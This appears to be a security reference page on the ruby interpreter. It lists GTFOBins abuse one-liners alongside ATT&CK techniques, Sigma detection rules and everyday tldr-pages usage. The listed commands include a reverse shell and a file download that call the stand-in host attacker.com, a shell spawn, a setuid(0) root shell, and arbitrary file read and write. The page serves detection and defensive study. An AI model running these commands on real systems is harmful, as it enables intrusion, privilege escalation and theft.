ruby

Ruby programming language interpreter. tldr-pages

GTFOBins download, file-read, file-write, library-load, reverse-shell, shell, upload 3 Sigma rules name it 2 ATT&CK techniques 7 documented commands

How ruby is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-e

file-read

-e

file-write

-e

library-load

-e

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-rsocket

-e

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

upload

-run

-e

-p

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ruby.

7 documented commands

from GTFOBins, each read by the identifier

download unprivileged, with sudo

ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'

Identify

file-read unprivileged, with sudo

ruby -e 'puts File.read("/path/to/input-file")'

Identify

file-write unprivileged, with sudo

ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'

Identify

library-load unprivileged, with sudo

ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'

Identify

reverse-shell unprivileged, with sudo

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Identify

shell unprivileged, with sudo, with capabilities

ruby -e 'exec "/bin/sh"'

Identify

With capabilities:

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

upload unprivileged, with sudo

ruby -run -e httpd . -p 80

Identify

None of the 7 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ruby. The identifier reads the line of each that runs ruby.

What detects it

Sigma process creation rules

highLinux Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali

mediumSuspicious Child Process of SAP NetWeaver - LinuxElastic (idea), Swachchhanda Shrawan Poudel (Nextron Systems)

mediumSuspicious Installer Package Child ProcessSohan G (D4rkCiph3r)

T1059.004Command and Scripting Interpreter: Unix Shell

T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Execute a Ruby script

ruby path/to/script.rbIdentify

Execute a single Ruby command in the command-line

ruby -e "command"Identify

Check for syntax errors on a given Ruby script

ruby -c path/to/script.rbIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

ruby

How ruby is abused

7 documented commands

What detects it

Everyday use

Other programs abused for download